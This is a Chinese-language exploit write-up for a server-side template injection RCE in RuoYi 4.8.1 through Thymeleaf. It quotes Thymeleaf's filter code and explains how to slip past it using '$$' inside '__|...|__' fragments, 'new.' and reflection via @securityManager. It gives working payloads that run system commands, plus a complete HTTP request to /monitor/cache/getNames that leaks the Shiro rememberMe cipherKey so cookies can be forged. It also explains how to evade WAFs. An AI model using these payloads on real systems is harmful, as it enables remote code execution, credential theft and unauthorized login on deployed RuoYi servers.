若依RuoYi 4.8.1 RCE
环境搭建
源码:https://gitee.com/y_project/RuoYi/tree/v4.8.1
环境:mysql+IDEA
新建数据库ry,导入ry_20250416.sql与quartz.sql文件
修改配置文件src/main/resources/application-druid.yml账号密码为自己的mysql数据库账号密码
启动RuoYiApplication.java
Thymeleaf SSTI模板注入
containsExpression绕过
这个版本的Thymelea版本为3.0.15
该版本修复了T ()这样执行RCE,并且新增了检测机制containsExpression
该版本对viewName, requestURI, paramNames都做了检测
跟进containsExpression方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private static boolean containsExpression (String text) { int textLen = text.length(); boolean expInit = false ; for (int i = 0 ; i < textLen; ++i) { char c = text.charAt(i); if (!expInit) { if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~' ) { expInit = true ; } } else { if (c == '{' ) { return true ; } if (!Character.isWhitespace(c)) { expInit = false ; } } } return false ; }
检测关键字后面是否为{, 如果是则返回true
看到后面的if (!Character.isWhitespace(c)),如果后面的字符不为空格,则expInit = false,又回到了第一个判断
如果我们连续使用两个$$,即
1 2 3 $->走if->expInit = true $->走else->expInit = false {->走if->绕过检测
但是默认不支持$${}这种写法
这里官方文档给了我们答案
可以使用
1 __|$${#response.addHeader("x-cmd","n4c1")}|__
等价于
1 __'$' + ${#response.addHeader("x-cmd","n4c1")}__
下划线的作用:
__|...|__ 是攻击者自定义的分隔符格式 ,其中 __ 是 “合法字符”(双下划线在大多数系统中被判定为安全标识符),可绕过 Ruo-Yi 对 fragment 参数的基础字符过滤;
| 是分隔符,用于后续在模板解析阶段 “剥离占位符”—— 攻击者预期系统会在解析时去掉 __| 和 |__,只执行中间的 $${...} 表达式;
示例:若 Ruo-Yi 只过滤../, <>等危险字符,对_无限制
__|xxx|__能顺利传入后台,拼接为:system/cache/cache::__|$${new.java.lang.ProcessBuilder('calc').start()}|__
Thymeleaf 解析时,会先处理__|...|__占位符(直接执行中间的 SpEL 表达式)
containsSpELInstantiationOrStaticOrParam绕过
对于防御SpEL注入, Thymeleaf提供了containsSpELInstantiationOrStaticOrParam方法, 来检测SpEL表达式是否危险
该方法是 Thymeleaf 防御 SpEL 注入的第一道防线
攻击者要触发 RCE,必须让恶意 SpEL 表达式:
能够被 Thymeleaf 解析执行;
不被 containsSpELInstantiationOrStaticOrParam 检测为危险表达式 (即方法返回 false)
我们要绕过org.thymeleaf.spring5.util.SpringStandardExpressionUtils#containsSpELInstantiationOrStaticOrParam方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 private static final char [] NEW_ARRAY = "wen" .toCharArray();private static final int NEW_LEN;private static final char [] PARAM_ARRAY;private static final int PARAM_LEN;public static boolean containsSpELInstantiationOrStaticOrParam (String expression) { int explen = expression.length(); int n = explen; int ni = 0 ; int pi = 0 ; while (n-- != 0 ) { char c = expression.charAt(n); if (ni >= NEW_LEN || c != NEW_ARRAY[ni] || ni <= 0 && (n + 1 >= explen || !Character.isWhitespace(expression.charAt(n + 1 )))) { if (ni > 0 ) { n += ni; ni = 0 ; } else { ni = 0 ; if (pi >= PARAM_LEN || c != PARAM_ARRAY[pi] || pi <= 0 && (n + 1 >= explen || isSafeIdentifierChar(expression.charAt(n + 1 )))) { if (pi > 0 ) { n += pi; pi = 0 ; } else { pi = 0 ; if (c == '(' && n - 1 >= 0 && isPreviousStaticMarker(expression, n)) { return true ; } } } else { ++pi; if (pi == PARAM_LEN && (n == 0 || !isSafeIdentifierChar(expression.charAt(n - 1 )))) { return true ; } } } } else { ++ni; if (ni == NEW_LEN && (n == 0 || !isSafeIdentifierChar(expression.charAt(n - 1 )))) { return true ; } } } return false ; } private static boolean isPreviousStaticMarker (String expression, int idx) { int n = idx; char c; do { if (n-- == 0 ) { return false ; } c = expression.charAt(n); if (c == 'T' ) { if (n == 0 ) { return true ; } char c1 = expression.charAt(n - 1 ); return !isSafeIdentifierChar(c1); } } while (Character.isWhitespace(c)); return false ; } static { NEW_LEN = NEW_ARRAY.length; PARAM_ARRAY = "marap" .toCharArray(); PARAM_LEN = PARAM_ARRAY.length; } private static boolean isSafeIdentifierChar (char c) { return c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z' || c >= '0' && c <= '9' || c == '_' ; }
该方法从后往前对传入的表达式进行检测
该方法的核心目标是检测 3 类危险特征:
new (new + 空格):类实例化;
#param :请求参数引用;
T(:静态方法调用;
1 2 3 4 5 6 7 8 9 10 11 12 遍历字符串每个字符 c(从后到前): ├─ 第一步:匹配 NEW_ARRAY(检测 "new " ) │ ├─ 若当前字符匹配 NEW_ARRAY 的第 ni 位 → ni++; │ ├─ 若 ni == NEW_LEN(匹配完 "new " )且前后无合法标识符 → 返回 true (检测到危险); │ └─ 若不匹配 → 重置 ni,进入第二步; ├─ 第二步:匹配 PARAM_ARRAY(检测 "#param" ) │ ├─ 若当前字符匹配 PARAM_ARRAY 的第 pi 位 → pi ++; │ ├─ 若 pi == PARAM_LEN 且前后无合法标识符 → 返回 true (检测到危险); │ └─ 若不匹配 → 重置 pi ,进入第三步; └─ 第三步:检测 T((静态方法调用) └─ 若当前字符是 '(' 且前一位是 'T' → 返回 true (检测到危险); 遍历结束 → 返回 false (未检测到危险);
我们可以用new.绕过检测, 至于为何用new.绕过, 我们接着往下看
方法检测 new 的关键条件:
1 2 3 4 5 6 if (ni == NEW_LEN && (n == 0 || !isSafeIdentifierChar(expression.charAt(n - 1 )))) { return true ; }
同时,在字符匹配阶段有一个关键过滤:
1 2 3 4 5 6 if (ni >= NEW_LEN || c != NEW_ARRAY[ni] || ni <= 0 && (n + 1 >= explen || !Character.isWhitespace(expression.charAt(n + 1 )))) { }
翻译成人话:
方法仅检测 new 后紧跟空格 的场景(new );
若 new 后不是空格(比如是点 .、括号 (、字母等),则无法匹配 NEW_ARRAY,检测失效
RCE:
1 2 3 4 5 Linux __|$${new .java.lang.ProcessBuilder('bash' ,'-c' ,'open -a Calculator' ).start ()}|__ Windows __|$$ {new .java.lang.ProcessBuilder('calc' ).start ()}|__
Ruo-Yi漏洞利用
位置: com/ruoyi/web/controller/monitor/CacheController.java
漏洞点: 直接将用户输入拼接到Thymeleaf模板路径中
漏洞代码如下
1 2 3 4 5 6 7 @RequiresPermissions("monitor:cache:view") @PostMapping("/getNames") public String getCacheNames (String fragment, ModelMap mmap) { mmap.put("cacheNames" , cacheService.getCacheNames()); return prefix + "/cache::" + fragment; }
该代码段需要权限调用/getNames接口, fragment参数可控, return返回结果使用Thmeleaf片段语法(::)拼接
Thymeleaf片段语法格式为:前缀 + "/cache::" + 片段名
RCE payload改进
1 __|$${new.java.lang.ProcessBuilder('calc' ).start()}|__
但是这个payload容易被waf拦截, 需要不调用特殊类(ProcessBuilder等)
我们可以用反射调用类
1 fragment =__|$${#response.getWriter().print (@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime' ).getMethods.?[name =='getRuntime'][0].invoke(null ).getClass.getMethods.?[name =='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime' ).getMethods.?[name =='getRuntime'][0].invoke(null ),'calc' ,null ))}|__
先拆分核心组成部分,再逐段解析执行逻辑:
1 2 3 4 5 6 7 8 9 10 11 fragment=__|$${ #response.getWriter().print( @securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime') .getMethods.?[name=='getRuntime'][0].invoke(null) .getClass.getMethods.?[name=='exec'][0].invoke( @securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null), 'calc', null ) ) }|__
分段
核心作用
`__
…
__`
双下划线占位符,绕过参数格式校验、WAF 特征检测(前文已分析)
$${...}
Thymeleaf 内联 SpEL 表达式,直接执行(无上下文依赖)
#response.getWriter().print(...)
触发命令执行后,通过响应输出流回显执行结果(即使无显式结果,也能验证命令是否执行)
@securityManager
引用 Spring 容器中的 securityManager Bean,作为反射调用的 “跳板”(无 T(/new)
getMethods.?[name=='xxx'][0]
SpEL 集合筛选语法,替代直接的方法名调用,规避 “静态方法调用” 检测
invoke(null)
调用静态方法(Runtime.getRuntime() 是静态方法,invoke 第一个参数为 null)
'calc', null
传入 exec 命令参数(calc 为目标命令,null 为环境变量参数)
核心执行逻辑(逐行解析)
获取 Spring 容器中的 securityManager Bean(绕过 T( 检测)
SpEL 中 @ 表示引用 Spring 容器内的 Bean,securityManager 是 Ruo-Yi 内置的安全管理 Bean(合法存在,无敏感特征);
替代 T(java.lang.Runtime) 直接加载类,彻底规避 containsSpELInstantiationOrStaticOrParam 对 T( 的检测。
反射加载 java.lang.Runtime 类(无 new/T()
1 @securityManager .getClass ().getClassLoader ().loadClass ('java.lang.Runtime' )
@securityManager.getClass():获取 securityManager 的 Class 对象(无危险特征);
.getClassLoader().loadClass(...):通过类加载器动态加载 Runtime 类,替代 new/T(...),规避所有实例化 / 静态调用检测。
筛选并调用 Runtime.getRuntime() 静态方法(核心绕检测)
1 .getMethods .?[name=='getRuntime' ] [0] .invoke (null)
.getMethods:获取 Runtime 类的所有方法(返回 Method 数组);
.?[name=='getRuntime']:SpEL 特有的 “投影筛选” 语法,筛选出方法名为 getRuntime 的元素(替代直接调用 getMethod("getRuntime"));
[0]:取筛选结果的第一个元素(即 getRuntime() 方法对象);
invoke(null):调用静态方法 Runtime.getRuntime(),得到 Runtime 实例(无 new,无 T()。
筛选并调用 Runtime.exec() 方法执行命令
1 2 3 4 5 6 7 8 .getClass.getMethods.?[name=='exec' ][0 ].invoke( @securityManager .getClass().getClassLoader().loadClass('java.lang.Runtime' ).getMethods.?[name=='getRuntime' ][0 ].invoke(null ), 'calc' , null )
.getClass.getMethods.?[name=='exec'][0]:筛选出 Runtime 实例的 exec() 方法;
invoke(Runtime实例, 'calc', null):调用 exec("calc"),执行 Windows 计算器命令;
重复调用 getRuntime() 是为了避免变量复用,进一步降低特征暴露风险
通过响应输出流回显(验证命令执行)
1 #response.getWriter().print(...)
#response 是 SpEL 内置的 HttpServletResponse 对象(合法,避开 #param/#request 检测);
print(...):将 exec() 的返回值(Process 对象)打印到响应中,攻击者可通过响应内容验证命令是否执行成功
获取shiro Key
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /monitor/cache/getNames HTTP/1.1 Host : 127.0.0.1Accept : application/json, text/javascript, */*; q=0.01Sec-Fetch-Mode : corssec-ch-ua : "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"X-Requested-With : XMLHttpRequestSec-Fetch-Site : same-originAccept-Language : zh-CN,zh;q=0.9X-CSRF-Token : JxbJuBkF+1WQAMT3u9i/sqsagEKm7GsXWD+mebzkmhs=Cookie : JSESSIONID=feec2fcc-209b-480c-b2bd-fedc510d91f7; rememberMe=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sec-ch-ua-platform : "Windows"User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Content-Type : application/x-www-form-urlencodedSec-Fetch-Dest : emptyOrigin : http://127.0.0.1Referer : http://127.0.0.1/monitor/jobAccept-Encoding : gzip, deflate, br, zstdsec-ch-ua-mobile : ?0Content-Length : 84fragment =__|$${#response.getWriter().print ('' .getClass().forName('java.util.Base64' ).getMethod('getEncoder' ).invoke(null ).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x
核心攻击逻辑逐行解析
SpEL 表达式执行入口
$${...} 是 Thymeleaf 内联 SpEL 表达式,会被直接执行(区别于 ${} 依赖上下文),且绕过了 containsSpELInstantiationOrStaticOrParam 检测(无 T(/new 等特征)。
获取响应输出流(回显数据)
#response:SpEL 内置上下文对象,对应 HttpServletResponse,是合法且未被检测的内置变量(避开 #param/#request 检测);
getWriter():获取响应的字符输出流,用于将窃取的密钥打印到页面 / 响应中,实现 “回显”。
动态加载 Base64 类(绕过 T( 检测)
1 '' .getClass().forName('java.util.Base64' )
''.getClass():通过空字符串获取 String.class,替代 T(java.lang.String)(规避 T( 检测);
forName('java.util.Base64'):动态加载 Base64 工具类,无需 T(java.util.Base64) 语法,绕过检测。
获取 Base64 编码器并执行
1 .getMethod('getEncoder' ).invoke(null )
getMethod('getEncoder'):反射获取 Base64.getEncoder() 静态方法(getEncoder 是 Base64 的静态方法,返回编码器实例);
invoke(null):调用静态方法(静态方法的 invoke 第一个参数为 null),得到 Base64.Encoder 对象。
窃取敏感密钥并编码
1 .encodeToString(@securityManager .rememberMeManager.cipherKey)
@securityManager:SpEL 中 @ 表示引用 Spring 容器中的 Bean(securityManager 是 Ruo-Yi 内置的安全管理 Bean);
rememberMeManager.cipherKey:Ruo-Yi 中 “记住我” 功能的核心密钥(AES 加密密钥,用于生成 rememberMe Cookie);
encodeToString(...):将二进制的 cipherKey 编码为 Base64 字符串(方便输出和传输,避免二进制乱码)。
打印泄露的密钥
将 Base64 编码后的 cipherKey 通过响应输出流打印到页面,攻击者可直接获取该密钥(后续可用于伪造 rememberMe Cookie 实现越权登录)。
Payload 绕过检测的核心技巧
该 Payload 完美规避了 containsSpELInstantiationOrStaticOrParam 方法的检测,关键技巧如下:
规避点
具体手段
绕过 T( 检测
用 ''.getClass().forName() 替代 T(...) 加载类
绕过 new 检测
全程无 new 关键字,通过反射 / 静态方法获取对象
绕过 #param 检测
使用 #response(内置响应对象)而非 #param/#request,避开检测
绕过字符过滤
用 `__
…
__` 包裹表达式,双下划线适配参数格式规则,避免报错
规避 WAF 特征
无连续的 “高危字符组合”(如 ProcessBuilder/exec),伪装为 “正常反射调用”
漏洞利用